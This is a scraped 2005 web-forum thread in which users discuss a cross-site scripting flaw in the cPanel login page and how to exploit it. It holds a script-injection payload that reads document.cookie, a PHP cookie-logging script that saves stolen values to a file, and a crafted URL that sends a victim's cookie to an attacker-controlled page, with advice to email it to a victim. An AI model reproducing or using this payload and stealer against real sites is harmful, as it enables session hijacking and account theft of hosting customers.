Waraxe IT Security Portal
Login or Register
January 16, 2026
Menu
Home
Logout
Discussions
Forums
Members List
IRC chat
Tools
Base64 coder
MD5 hash
CRC32 checksum
ROT13 coder
SHA-1 hash
URL-decoder
Sql Char Encoder
Affiliates
y3dips ITsec
Md5 Cracker
User Manuals
AlbumNow
Content
Content
Sections
FAQ
Top
Info
Feedback
Recommend Us
Search
Journal
Your Account
User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144

People Online:
Visitors: 66
Members: 0
Total: 66
Full disclosure
[REVIVE-SA-2026-001] Revive Adserver Vulnerabilities
Defense in depth -- the Microsoft way (part 95): the (shared)"Start Menu" is dispensable
Re: Multiple Security Misconfigurations and CustomerEnumeration Exposure in Convercent Whistleblowing Platform(EQS Group)
RIOT OS 2026.01-devel-317 Stack-Based Buffer Overflow in RIOT ethos Serial Frame Parser
RIOT OS 2026.01-devel-317 Stack-Based Buffer Overflow in tapslip6 Utility via Unbounded Device Path Construction
TinyOS 2.1.2 Stack-Based Buffer Overflow in mcp2200gpio
TinyOS 2.1.2 printfUART Global Buffer Overflow via UnboundedFormat Expansion
KL-001-2026-01: yintibao Fun Print Mobile Unauthorized Access via Context Hijacking
Multiple Security Misconfigurations and Customer Enumeration Exposure in Convercent Whistleblowing Platform (EQS Group)
Panda3d v1.10.16 Uncontrolled Format String in Panda3D egg-mkfont Allows Stack Memory Disclosure
Panda3d v1.10.16 egg-mkfont Stack Buffer Overflow
Panda3d v1.10.16 deploy-stub Unbounded Stack Allocation Leading to Uninitialized Memory
MongoDB v8.3.0 Integer Underflow in LMDB mdb_load
Bioformats v8.3.0 Untrusted Deserialization of Bio-Formats Memoizer Cache Files
Bioformats v8.3.0 Improper Restriction of XML External Entity Reference in Bio-Formats Leica Microsystems XML Parser
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> Sql injection -> A Vulnerable in cpanel
Post new topicReply to topic View previous topic :: View next topic
A Vulnerable in cpanel
PostPosted: Wed Jun 22, 2005 1:06 am Reply with quote
Dendy
Regular user
Regular user
Joined: Jun 20, 2005
Posts: 9




there is a Vulnerable:

cPanel cPanel 10.2
cPanel cPanel 9.1
cPanel cPanel 9.0
cPanel cPanel 8.0
cPanel cPanel 7.0
cPanel cPanel 6.4.2 .STABLE_48
cPanel cPanel 6.4.2
cPanel cPanel 6.4.1
cPanel cPanel 6.4
cPanel cPanel 6.2
cPanel cPanel 6.0
cPanel cPanel 5.3
cPanel cPanel 5.0

Code:
login?user=**<script>javascript:alert(document.cookie);</script>


to use it ex.: http://www.xxxx.com:2082/login?user=**<script>javascript:alert(document.cookie);</script>

but as u can see it gives us : ( Nested quantifiers before HERE mark in regex m/^** << HERE :/ at cpsrvd.pl line 1720, line 1. )

but in the cPanel 10.2 it gives an error in different line nos

how can i modify it to use it

any help........ Surprised


Last edited by Dendy on Wed Jun 22, 2005 1:19 pm; edited 2 times in total
View user's profile Send private message Visit poster's website Yahoo Messenger MSN Messenger ICQ Number
PostPosted: Wed Jun 22, 2005 11:02 am Reply with quote
KingOfSka
Advanced user
Advanced user
Joined: Mar 13, 2005
Posts: 61




1st : don't post link to real site Very Happy
2nd: this is not an sql injection but an XSS
3rd: if this exploit is for cpanel <= 1.8 , that site is using cpanel 10 so it wouldn't work Very Happy
View user's profile Send private message Visit poster's website
PostPosted: Wed Jun 22, 2005 1:27 pm Reply with quote
Dendy
Regular user
Regular user
Joined: Jun 20, 2005
Posts: 9




sorry for putting links and thnx u dude but i put it not coz it in the site but to learn how to use it .
View user's profile Send private message Visit poster's website Yahoo Messenger MSN Messenger ICQ Number
PostPosted: Wed Jul 13, 2005 5:03 am Reply with quote
theOne
Regular user
Regular user
Joined: May 31, 2005
Posts: 8




Um i get a popup with the username_mysql cookie info, how can i use this tho? or how can I copy this so I can use it with httpd and send the info thus making cpanel think i'm the username?
View user's profile Send private message
Cpan vul
PostPosted: Thu Jul 14, 2005 12:30 pm Reply with quote
neo_hack
Regular user
Regular user
Joined: Jul 04, 2005
Posts: 6




Any idea how to rewrite it and make it work ?
View user's profile Send private message
a solve
PostPosted: Tue Aug 30, 2005 3:20 am Reply with quote
kingasawa
Beginner
Beginner
Joined: May 20, 2004
Posts: 1




i know a way for exploiting that bug ...

1/creat a file kingasawa.php with source code :

Code:
<?php

define ("LINE", "\r\n");

define ("HTML_LINE", "<br>");

function getvars($arr, $title)

{

$res = "";

$len = count($arr);

if ($len>0)

{

if (strlen($title)>0)

{

print("[--------$title--------]" . HTML_LINE);

$res .= "[--------$title--------]" . LINE;

}

foreach ($arr as $key => $value)

{

print("[$key]" . HTML_LINE);

print($arr[$key] . HTML_LINE);

$res .= "[$ key]" . LINE . $arr[$key] . LINE;

}

}

return $res;

}

$now = date("Y-m-d H : i : s ");

$myData = "[-----$now-----]" . LINE;

$myData .= getvars($HTTP_GET_VARS, "");

// ten file ma cookie se luu vao
$file = "cookie.txt";

$mode = "r+";

if (!file_exists($file))

$mode = "w+";

$fp = fopen ($file, $mode);

fseek($fp, 0, SEEK_END);

fwrite($fp, $myData);

fclose($fp);

?>


after that , u can fake email for sending to ur victim with content

Code:
http://www.victim.com:2082/login?user=**<script>document.write(http://your-website/cookie.php?docs='+escape(document.cookie)+')</script>

and u creat a file cookie.txt for saving that cookie ...

----------
i haven't checked it .... correct me if wrong :P

_________________
Kingasawa Asakura
VietNam Magic Team
http://vnmagic.net
View user's profile Send private message Visit poster's website Yahoo Messenger
A Vulnerable in cpanel
www.waraxe.us Forum Index -> Sql injection
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT
Page 1 of 1

Post new topicReply to topic


Powered by phpBB © 2001-2008 phpBB Group



PCWizardHub - Helping you fix, build, and optimize your PC life
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.034 Seconds